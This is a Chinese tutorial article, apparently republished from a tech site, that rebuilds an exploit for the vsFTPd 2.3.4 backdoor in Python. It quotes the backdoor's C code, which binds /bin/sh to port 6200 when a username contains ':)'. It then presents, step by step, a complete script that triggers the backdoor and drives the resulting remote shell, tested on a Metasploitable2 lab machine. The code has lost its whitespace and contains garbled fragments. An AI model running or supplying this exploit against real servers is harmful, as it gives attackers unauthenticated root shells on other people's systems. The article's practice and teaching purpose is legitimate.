当前位置: 首页 > 科技观察

Python重构vsFTPd后门漏洞

时间:2023-03-13 21:16:33 科技观察

一、前言大家好,首先声明一下,本文的目的不是分析vsFTPd后门漏洞。最近喜欢用写漏洞利用的形式来练习编程语言。在本文中,我们将逐步重新使用Python编写该漏洞的利用程序,主要是触发后门和连接shell。首先,让我们了解一下这个漏洞是如何触发的。2.vsFTPd后门漏洞分析这个漏洞比较老,但是应该作为例子来实践一下技术。它非常经典,名副其实。不知道这个漏洞是程序员故意留下的,还是黑客植入的。首先我们下载源码来看一下。在str.c源码中,我们发现多了一行可疑代码:elseif((p_str->p_buf[i]==0x3a)&&(p_str->p_buf[i+1]==0x29)){vsf_sysutil_extra();}0x3a和0×29是十六进制码,我们把它们转成十进制再转成字符:和)。从上面的代码不难看出,只要我们输入的用户名字符串中有一个字符是:,下一个字符是),就可以执行函数vsf_sysutil_extra()。在sysdeputil.c的源码中,我们找到了vsf_sysutil_extra()函数:intvsf_sysutil_extra(void){intfd,rfd;structsockaddr_insa;if((fd=socket(AF_INET,SOCK_STREAM,0))<0)exit(1);memset(&sa,0,sizeof(sa));sa.sin_family=AF_INET;sa.sin_port=htons(6200);sa.sin_addr.s_addr=INADDR_ANY;if((bind(fd,(structsockaddr*)&sa,sizeof(structsockaddr)))<0)exit(1);if((listen(fd,100))==-1)exit(1);for(;;){rfd=accept(fd,0,0);close(0);关闭(1);关闭(2);dup2(rfd,0);dup2(rfd,1);dup2(rfd,2);execl("/bin/sh","sh",(char*)0);}}可以发现这是一个shell,绑定的端口是6200三、重构vsFTPd后门漏洞exploit我们已经学会了如何触发vsFTPd后门漏洞,下面正式开始编写漏洞利用。首先我们先介绍一下我们需要的模块:importsysimportsocketimportthreadingimporttimesys模块用于接收命令行参数,socket模块用于触发漏洞,threading模块用于处理shell,time模块用于延迟shell交互。现在我们已经导入了模块,让我们来处理命令行参数。iflen(sys.argv)==3:passelse:print"Use:./vsftpexploit.py[targetIP][targetPort]"sys.exit(1)target=sys.argv[1]port=sys.argv[2]print"[+]targetIP:"+targetprint"[+]targetPort:"+port从命令行接收两个参数,目标IP和目标端口。首先判断用户输入的参数是否正确,如果成功则打印目标IP和端口号。现在我们已经收到了所需的参数,下一步就是触发漏洞。这里我们将触发函数命名为exploit:defexploit():exploit_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)try:exploit_socket.connect((target,int(port)))exceptException:print"Cannotattacktarget"sys.exit(1)print[+]Attacktarget..."banner=exploit_socket.recv(1024)printbanner这里主要是先获取banner,判断服务器的FTP服务是否为vsFTPd2.3.4。确认服务器的FTP服务是vsFTPd2.3.4后,我们来触发漏洞:if"vsFTPd2.3.4"inbanner:exploit_socket.send("USERhello:)\n")exploit_socket.recv(1024)exploit_socket.send("PASSHELLO\n")exploit_socket.close()print"[+]Attackwassuccessful"returnelse:print"[!]FTPserviceisnotvsFTPd2.3.4"sys.exit(1)触发漏洞后,我们仍然需要连接它进行操作。首先我们创建一个函数来处理线程执行。defcont_shell(sock,status):sock.settimeout(3)whilestatus==True:try:printsock.recv(1024).strip()exceptsocket.timeout:passexceptException:return***我们将编写一个综合函数来调用利用函数在漏洞被触发后操作shell。defhack():exploit()shell_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)shell_status=Truetry:shell_socket.connect((target,6200))exceptException:print"[!]CannotconnectShell"sys.exit(1)shell_recv_thread=threading.Thread(target=cont_shell,args=(shell_socket,shell_status))shell_recv_thread.start()print"[+]连接shell完成"while1:command=raw_input()ifcommand=='exit':shell_status=falseshell_socket.close()shell_recv_thread.join()sys.exit(0)shell_socket.send(command+'\n')很简单,首先我们调用exploit()函数来触发漏洞,然后我们创建一个socket,名称为shell_socket连接外壳。shell_status表示状态,主要是防止冲突。然后它使用线程来处理与shell的交互。***使用循环发送命令并在命令退出时退出。4.脚本演示至此我们的exploit的编写就完成了。下面我们就来实际操作一下,测试一下我们的exploit是否可用。我们首先使用nmap检测服务器的FTP服务的版本。nmap-sV-p21192.168.242.129结果:可以发现目标服务器上的FTP服务是vsFTPd2.3.4,下面使用我们的漏洞利用脚本:成功利用五、总结在编写漏洞利用的过程中,我做了amistake一个小错误,如果使用TAB制表符,就不能再用四个空格来表示制表符对齐了。新的Python语法不支持在代码对齐中混合使用TAB和空格。本文目标机器直接使用metasploitable2。有兴趣的可以自己改写试试。6.参考1,https://www.exploit-db.com/exploits/17491/2,https://0x00sec.org/t/re-building-a-vsftpd-backdoor-exploit-in-python/1593,http://pastebin.com/AetT9sS54,http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html

猜你喜欢